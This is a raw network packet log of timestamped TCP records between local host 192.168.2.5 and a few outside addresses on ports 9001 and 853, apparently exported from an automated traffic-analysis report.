Dec 17, 2024 11:49:29.920619965 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.920655012 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.921729088 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.921737909 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.921793938 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.922159910 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.922214985 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.923180103 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.923229933 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.924273968 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.924340963 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.924664974 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.924716949 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.925554037 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.925574064 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.925604105 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.925625086 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.926752090 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.926768064 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.926815033 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.927246094 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.927263021 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.927331924 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.927331924 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.928565025 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.928582907 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.928639889 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.929657936 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.929677010 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.929722071 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.931111097 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.931226969 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.931417942 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.931488037 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.932203054 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.932382107 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.932432890 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.933183908 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.933199883 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.933228016 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.933264017 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.934012890 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.934031010 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.934057951 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.934072971 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.935688972 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.935714960 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.935769081 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.936131001 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.936184883 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.936317921 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.936359882 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.937206030 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.937366962 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.937395096 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.937410116 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.938313961 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.938332081 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.938369989 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.938385963 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.938487053 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.938503981 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.938528061 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.938544035 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.938555002 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.938563108 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.938580036 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.938611031 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.938688040 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.938688040 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.939441919 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.939491987 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.939510107 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.939532995 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.940570116 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.940623045 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.941313982 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.941431999 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.941893101 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.941910028 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.941952944 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.941984892 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.942961931 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.942980051 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.943022013 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.943037987 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.943825960 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.943872929 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.943911076 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.943953037 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.945058107 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.945075035 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.945106983 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.945142984 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.946368933 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.946387053 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.946420908 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.946434975 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.947299957 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.947326899 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.947341919 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.947455883 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.948590994 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.948649883 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.948693991 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.948734999 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.949323893 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.949373960 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.949417114 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.949460030 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.950375080 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.950391054 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.950431108 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.950450897 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.951844931 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.951961040 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.952032089 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.952155113 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.952527046 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.952578068 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.952723026 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.952812910 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.953295946 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.953345060 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.953624964 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.953679085 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.955794096 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.955893993 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.955955982 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.955998898 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.956856012 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.956873894 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.956893921 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.956907034 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:29.956921101 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.956954002 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:29.981396914 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.014848948 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.033848047 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.060904026 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.070509911 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.070538044 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.070588112 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.070636988 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.071027040 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.071053982 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.071106911 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.072088957 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.072135925 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.072237015 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.072343111 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.073298931 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.073317051 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.073350906 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.073378086 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.074320078 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.074356079 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.074369907 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.074409962 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.075365067 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.075392008 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.075407982 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.075432062 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.076410055 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.076437950 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.076491117 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.077440023 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.077510118 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.077584982 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.077630043 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.078392029 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.078445911 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.078624964 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.078876019 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.079365969 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.079395056 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.079442024 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.079442024 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.080641031 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.080698967 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.080744982 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.080787897 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.083376884 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.083456993 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.083726883 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.083779097 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.084093094 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.084110022 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.084135056 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.084141970 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.084153891 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.101427078 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.101497889 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.104523897 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.104657888 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.104671001 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.104757071 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.104850054 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.104902983 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.105025053 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.105120897 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.105923891 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.105974913 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.106091022 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.106260061 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.106950998 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.107064009 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.107122898 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.107167006 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.108181000 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.108200073 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.108252048 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.108952999 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.109016895 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.109016895 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.109060049 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.109967947 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.110038996 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.110096931 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.110176086 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.111051083 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.111116886 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.111243963 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.111284018 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.112116098 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.112163067 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.112179041 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.112216949 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.113665104 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.113717079 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.113948107 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.114023924 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.115067005 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.115137100 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.115209103 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.115252018 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.116067886 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.116085052 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.116138935 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.158066034 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.233545065 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.446605921 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.611394882 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.611500978 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.731663942 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.767236948 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.858051062 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.931509018 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.931530952 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.931595087 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.931776047 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.932004929 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.932048082 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.932796001 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.932919979 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.932969093 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.933836937 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.934020996 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.934163094 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.934892893 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.934994936 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.935044050 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:30.935982943 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.936022043 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:30.936070919 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:31.002619982 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:31.061214924 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:31.471582890 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:31.472103119 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:31.472496986 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:31.472616911 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:31.591375113 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.591491938 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:31.591507912 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.591607094 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:31.591938972 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:31.592006922 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:31.592263937 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.592273951 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.592315912 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.592320919 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:31.592374086 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:31.592417955 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.592427969 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.592436075 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.592461109 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:31.592478037 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:31.592487097 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.592557907 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.592607975 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:31.592669010 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.592720032 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:31.592729092 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:31.592767000 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:31.592772961 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:31.592787027 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:31.592817068 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:31.592825890 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:31.592869043 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:31.592952967 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:31.593015909 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:31.593024969 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:31.593092918 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:31.593151093 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:31.593159914 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:31.714847088 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.714854002 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.714899063 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.714930058 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:31.714997053 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:31.715212107 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:31.715509892 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.715518951 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.715563059 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.715579033 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:31.715609074 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:31.715791941 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.715801954 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.715842962 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.715867996 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:31.715898991 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:31.716021061 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.716075897 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.716087103 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.716172934 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.716267109 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:31.716276884 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:31.716285944 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:31.716487885 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:31.716496944 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:31.716506004 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:31.821938992 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:31.821996927 CET	9001	49721	23.233.0.213	192.168.2.5
